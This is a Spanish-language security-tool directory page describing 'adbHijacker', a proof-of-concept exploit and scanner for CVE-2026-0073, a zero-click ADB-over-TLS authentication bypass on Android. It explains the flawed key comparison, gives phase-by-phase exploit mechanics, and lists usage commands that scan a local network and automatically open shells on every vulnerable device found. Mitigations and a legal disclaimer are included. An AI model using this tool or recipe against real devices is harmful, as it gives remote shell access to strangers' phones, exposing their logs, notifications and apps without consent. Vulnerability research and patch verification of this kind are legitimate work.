Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/unnaim/adbhijacker
Seguridad AndroidReconocimientoAnálisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónSeguridad MóvilHerramienta de Acceso Remoto
GitHubunnaim/adbhijacker

adbHijacker

Una herramienta PoC para el CVE-2026-0073 en dispositivos Android 11+ que permite una RCE instantánea de cero clics en cualquier dispositivo sin parchear con adb sobre tcp habilitado.

Ver Repositorio
72hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-0073 — Bypass de autenticación TLS de ADB en Android

Un exploit de prueba de concepto y escáner de red para CVE-2026-0073, una vulnerabilidad crítica de ejecución remota de código de cero clics y sin interacción en la ruta de autenticación ADB-over-TCP de adbd en Android.

La vulnerabilidad es un error lógico en adbd_tls_verify_cert() (daemon/auth.cpp) donde EVP_PKEY_cmp() se trata como un predicado booleano. Cuando una clave RSA almacenada se compara contra un certificado de cliente TLS que no es RSA (EC P-256 o Ed25519), la API devuelve -1 (discrepancia de tipo), que es verdadero en C/C++. Esto promueve una discrepancia entre algoritmos a una coincidencia exitosa de clave de host, omitiendo la autenticación por completo.

Detalles técnicos obtenidos de BARGHEST.
Código PoC base obtenido de SecTestAnnaQuinn.
Corregido en el Boletín de Seguridad de Android — mayo de 2026.


Impacto

Desde el contexto shell, un atacante puede inspeccionar propiedades del sistema, estado de procesos, registros, notificaciones; instalar y eliminar paquetes; usar run-as contra aplicaciones depurables; y preparar explotación posterior.


Archivos

ArchivoPropósito
adb_tls_auth_bypass.pyPoC de explotación de objetivo único (original de SecTestAnnaQuinn, corregido con checksum)
adbt_scanner.pyEscáner de red — descubre dispositivos vulnerables + los explota
requirements.txtDependencias de Python

Requisitos previos (dispositivo objetivo)

Para que el exploit tenga éxito, el dispositivo Android objetivo debe tener:

  1. Opciones de desarrollador habilitadas
  2. Depuración inalámbrica o ADB-over-TCP habilitado (el servicio TCP adbd de la plataforma)
  3. Al menos una clave de host RSA previamente emparejada en /data/misc/adb/adb_keys
  4. Accesibilidad de red al puerto TCP de ADB (por defecto 5555)

Configuración

root@kitploit:~
# Crear entorno virtual
uv venv

# Activarlo
source .venv/bin/activate

# Instalar dependencias
uv pip install -r requirements.txt

Dependencias:

El escáner se degrada correctamente cuando faltan paquetes opcionales: advertirá y recurrirá a métodos alternativos (comando ip del sistema, nmap, escaneo de conexión TCP).


Uso

Modo 0 — Explotación directa de objetivo único

Ataca un dispositivo vulnerable conocido directamente.

root@kitploit:~
python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interactivo
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

O mediante el escáner:

root@kitploit:~
python3 adbt_scanner.py --host 192.168.1.42                # shell interactivo
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Modo 1 — Escanear red, identificar, explotar

Escanea la red local en busca de dispositivos vulnerables y explota todos los objetivos confirmados.

root@kitploit:~
# Escaneo completo: mDNS → ARP → escaneo de puertos → sonda ADB → explotación
python3 adbt_scanner.py --scan

# Ejecutar un comando específico en todos los dispositivos vulnerables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Solo reconocimiento — descubrir pero no explotar
python3 adbt_scanner.py --scan --no-exploit

# Escanear múltiples puertos
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Sobrescribir la subred detectada (hosts multi-homing, rangos específicos)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Ajustar tiempos de espera para redes lentas
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Ampliar la ventana de escucha mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Omitir fases específicas de descubrimiento
python3 adbt_scanner.py --scan --no-mdns    # omitir mDNS, solo ARP
python3 adbt_scanner.py --scan --no-arp     # omitir ARP, solo mDNS

Referencia de CLI del escáner

root@kitploit:~
--scan                    Escanear red en busca de dispositivos vulnerables + explotar
--host HOST               Explotación directa de objetivo único
--port PORT               Puerto ADB para el modo --host (por defecto: 5555)
--cmd COMMAND             Comando de shell a ejecutar
-v, --verbose             Registro detallado

--mdns-timeout SECONDS    Duración de escucha mDNS (por defecto: 30)
--ports PORTS             Puertos separados por comas en modo --scan (por defecto: 5555)
--subnet CIDR             Sobrescribir subred detectada (p. ej. 192.168.2.0/24)
--connect-timeout SECONDS Tiempo de espera de conexión TCP (por defecto: 2.0)
--probe-timeout SECONDS   Tiempo de espera de sonda ADB (por defecto: 3.0)
--arp-timeout SECONDS     Tiempo de espera de barrido ARP (por defecto: 3)
--no-mdns                 Omitir descubrimiento mDNS
--no-arp                  Omitir barrido ARP + escaneo de puertos
--no-exploit              Detenerse después de la fase de sonda de protocolo ADB

Canalización de descubrimiento

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ 1. Detección de subred — netifaces → ip route → truco socket │
│ 2. Listener mDNS     — _adb-tls-connect._tcp (30s por defecto) │
│ 3. Barrido ARP       — scapy.arping → nmap -sn             │
│ 4. Escaneo de puertos — conexión TCP a cada host:puerto     │
│ 5. Sonda de protocolo ADB — enviar CNXN, clasificar respuesta│
│                                                             │
│    STLS   → VULNERABLE (proceder a explotación)             │
│    AUTH   → autenticación ADB heredada (no es este CVE)     │
│    CNXN   → abierto, sin autenticación (ya accesible)       │
│    NO_ADB → no es un servicio ADB                           │
│                                                             │
│ 6. Explotación      — actualización TLS → bypass de auth → shell │
└─────────────────────────────────────────────────────────────┘

mDNS es el método de identificación más preciso: cuando la depuración inalámbrica está emparejada, Android transmite _adb-tls-connect._tcp explícitamente. El barrido ARP + escaneo de puertos sirve como respaldo integral.


Mecánica del exploit

root@kitploit:~
Fase 1 — ADB en texto claro
  Cliente → CNXN(payload="host::features=...")
  Dispositivo → STLS  (se requiere actualización a TLS)

Fase 2 — TLS 1.3 con certificado de cliente entre algoritmos
  Cliente → respuesta STLS
  Cliente → handshake TLS 1.3 + certificado de cliente EC P-256
  El dispositivo llama a adbd_tls_verify_cert():
    known_evp = clave RSA de /data/misc/adb/adb_keys
    evp_pkey  = clave EC P-256 del certificado de cliente
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (discrepancia de tipo)
    if (-1) → verified = true   ← ERROR: -1 es verdadero

Fase 3 — Capa de servicio ADB posterior a TLS
  El cliente drena el CNXN del dispositivo (el transporte ya está en línea)
  No se envía CNXN de host (activaría el kick de handle_new_connection)
  Cliente → OPEN(local_id, window=32MB, payload="shell:\x00")
  Dispositivo → OKAY  → flujo de shell establecido

Modelo de amenazas

Exposición directa a la red

  • Depuración inalámbrica dejada habilitada en una red no confiable (cafetería, oficina, conferencia)
  • ADB expuesto a Internet en el puerto 5555 (más de 10,000 dispositivos observados solo en Corea durante la investigación de exposición)

Creación de estado asistida por malware

  • El malware en el dispositivo usa el Servicio de Accesibilidad para habilitar las opciones de desarrollador, activar la depuración inalámbrica y emparejar una clave de host, preparando el dispositivo para explotación remota por un par de red

Limitaciones

  • No es root. El exploit proporciona un contexto shell (uid=2000). El compromiso del kernel, el acceso root y las claves del almacén de claves basado en hardware requieren elevación adicional.
  • Requiere una clave emparejada. El objetivo debe tener al menos una clave de host RSA en /data/misc/adb/adb_keys. Un dispositivo recién restablecido con depuración inalámbrica habilitada pero nunca emparejado no es vulnerable.
  • Requiere la ruta STLS. Los dispositivos que sirven ADB sobre TCP mediante mecanismos heredados (no TLS) responden con AUTH, no con STLS, y no se ven afectados por este CVE.
  • Los dispositivos parcheados son inmunes. El Boletín de Seguridad de Android de mayo de 2026 incluye una corrección que cambia la verificación de EVP_PKEY_cmp para requerir un valor de retorno exacto == 1.

Mitigación

  • Aplicar el Parche.
  • Deshabilitar las opciones de desarrollador cuando no se necesiten activamente.
  • Deshabilitar la depuración inalámbrica.
  • No exponer ADB más allá de su red local confiable.

Referencias

  • Boletín de Seguridad de Android — mayo de 2026
  • Análisis técnico de BARGHEST
  • Agradecimientos de Android
  • Commit de BoringSSL — normalización del valor de retorno de EVP_PKEY_cmp
  • Informe del spyware Morpheus — Osservatorio Nessuno
  • MESH — herramienta de seguridad Android de BARGHEST

Aviso legal

Este software se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. Las herramientas y el código de este repositorio están destinados a ayudar a profesionales de seguridad, investigadores y propietarios de dispositivos a:

  • Comprender cómo funciona CVE-2026-0073 a nivel de protocolo
  • Auditar y evaluar sus propios dispositivos y redes
  • Desarrollar y probar mitigaciones

No debe usar este software:

  • Contra cualquier dispositivo o red que no posea o para el que no tenga permiso explícito por escrito para probar
  • Para ningún propósito ilegal o en violación de las leyes aplicables
  • Para acceder, modificar o extraer datos sin autorización

El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones y puede resultar en sanciones penales y civiles. Los autores y colaboradores no asumen ninguna responsabilidad por uso indebido, daños o consecuencias legales derivadas del uso de este software.

Úselo responsablemente. Conozca su objetivo. Obtenga permiso.


Licencia

CC0 1.0 Universal — Sin derechos reservados.

En la medida en que lo permita la ley, los autores han renunciado a todos los derechos de autor y derechos conexos o vecinos sobre este trabajo.

Descargar herramienta
AtributoDetalle
Vector de ataqueRed (adyacente / proximal)
InteracciónNinguna (cero clics)
Privilegio obtenidoUsuario shell (uid=2000), SELinux u:r:shell:s0
Primitiva de explotaciónAcceso remoto a shell vía ADB
CVSSCrítico (9.8)
PaqueteUsado por¿Requerido?
cryptographyAmbos scripts (generación de certificados EC, TLS)Sí
netifacesEscáner (detección de subred)Preferible
zeroconfEscáner (descubrimiento mDNS)Preferible
scapyEscáner (barrido ARP)Preferible